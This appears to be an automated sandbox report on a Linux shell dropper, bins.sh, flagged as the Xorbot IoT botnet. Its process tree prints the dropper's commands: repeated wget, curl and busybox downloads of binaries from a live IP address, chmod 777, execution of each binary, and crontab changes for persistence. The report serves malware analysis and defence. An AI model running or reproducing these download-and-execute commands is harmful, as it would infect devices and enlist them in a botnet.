Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/01/2025, 04:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250105-ewcpratmbq
  • SHA256 c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1224) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Executes dropped EXE
            PID:742
          • /bin/rm
            rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • Writes file to tmp directory
              PID:745
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • Writes file to tmp directory
              PID:769
            • /bin/chmod
              chmod 777 h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • File and Directory Permissions Modification
              PID:776
            • /tmp/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              ./h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
              • Executes dropped EXE
              PID:778
            • /bin/rm
              rm h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
                PID:781
              • /usr/bin/wget
                wget http://66.63.187.225/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • Writes file to tmp directory
                PID:783
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/chmod
                chmod 777 UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                ./UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                • Executes dropped EXE
                PID:801
              • /bin/rm
                rm UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                2⤵
                  PID:803
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /bin/chmod
                  chmod 777 PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • File and Directory Permissions Modification
                  PID:815
                • /tmp/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  ./PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                  • Executes dropped EXE
                  PID:817
                • /bin/rm
                  rm PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                  2⤵
                    PID:820
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • Writes file to tmp directory
                    PID:821
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:837
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /bin/chmod
                    chmod 777 u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • File and Directory Permissions Modification
                    PID:847
                  • /tmp/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    ./u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                    • Executes dropped EXE
                    PID:848
                  • /bin/rm
                    rm u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                    2⤵
                      PID:850
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • Writes file to tmp directory
                      PID:851
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • Writes file to tmp directory
                      PID:853
                    • /bin/chmod
                      chmod 777 zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:854
                    • /tmp/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      ./zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:855
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:857
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:858
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:859
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:860
                        • /bin/rm
                          rm zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                          2⤵
                            PID:862
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                            2⤵
                              PID:865
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • Reads runtime system information
                              PID:866
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • Writes file to tmp directory
                              PID:867
                            • /bin/chmod
                              chmod 777 H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • File and Directory Permissions Modification
                              PID:868
                            • /tmp/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              ./H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                              • Executes dropped EXE
                              PID:869
                            • /bin/rm
                              rm H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                              2⤵
                                PID:871
                              • /usr/bin/wget
                                wget http://66.63.187.225/bins/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                2⤵
                                  PID:872
                                • /usr/bin/curl
                                  curl -O http://66.63.187.225/bins/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                  2⤵
                                    PID:873
                                  • /bin/busybox
                                    /bin/busybox wget http://66.63.187.225/bins/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:874
                                  • /bin/chmod
                                    chmod 777 3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:875
                                  • /tmp/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                    ./3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                    2⤵
                                    • Executes dropped EXE
                                    PID:876
                                  • /bin/rm
                                    rm 3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                    2⤵
                                      PID:878
                                    • /usr/bin/wget
                                      wget http://66.63.187.225/bins/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                      2⤵
                                        PID:879
                                      • /usr/bin/curl
                                        curl -O http://66.63.187.225/bins/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                        2⤵
                                          PID:880
                                        • /bin/busybox
                                          /bin/busybox wget http://66.63.187.225/bins/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:881
                                        • /bin/chmod
                                          chmod 777 pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:882
                                        • /tmp/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                          ./pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                          2⤵
                                          • Executes dropped EXE
                                          PID:883
                                        • /bin/rm
                                          rm pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                          2⤵
                                            PID:885
                                          • /usr/bin/wget
                                            wget http://66.63.187.225/bins/xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                            2⤵
                                              PID:886
                                            • /usr/bin/curl
                                              curl -O http://66.63.187.225/bins/xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                              2⤵
                                                PID:887
                                              • /bin/busybox
                                                /bin/busybox wget http://66.63.187.225/bins/xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:888
                                              • /bin/chmod
                                                chmod 777 xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:889
                                              • /tmp/xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                                ./xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                                2⤵
                                                • Executes dropped EXE
                                                PID:890
                                              • /bin/rm
                                                rm xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                                2⤵
                                                  PID:892
                                                • /usr/bin/wget
                                                  wget http://66.63.187.225/bins/XaN7MEPVnCBPROqIpqVND3450pwfPKhaLT
                                                  2⤵
                                                  • System Network Configuration Discovery
                                                  PID:893

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F

                                                    • Path /tmp/3gnckgo9siz4cc4scCB4RU5b7FZEwX2d5F
                                                    • Size 122KB
                                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL

                                                    • Path /tmp/H8Pf3LiujH1vWahixFzO1ExjbpVDJoY2PL
                                                    • Size 111KB
                                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd

                                                    • Path /tmp/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
                                                    • Size 99KB
                                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

                                                    • Path /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                                                    • Size 151KB
                                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B

                                                    • Path /tmp/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
                                                    • Size 112KB
                                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    h2NthI18CkpyQLhFEswpfDRkJMskblEDP4

                                                    • Path /tmp/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
                                                    • Size 111KB
                                                    • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1

                                                    • Path /tmp/pM55EWl4bCS7mm4bMp1SW8QM869OJEsVZ1
                                                    • Size 141KB
                                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG

                                                    • Path /tmp/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
                                                    • Size 177KB
                                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08

                                                    • Path /tmp/xUNmNI1Tuo1TWcd2y6eDGX6JVR2bn7ro08
                                                    • Size 119KB
                                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI

                                                    • Path /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                                                    • Size 98KB
                                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK

                                                    • Path /tmp/zu3TGU6BItqAjLZkymchNUzZxIh0txBaAK
                                                    • Size 151KB
                                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tmp.hvPlGh

                                                    • Path /var/spool/cron/crontabs/tmp.hvPlGh
                                                    • Size 210B
                                                    • SHA256 900ca017eb31f4a10e5304652b06a312c7a1fb1f08a9affb46bae38c39894b76
                                                    • MD5 SHA1 SHA512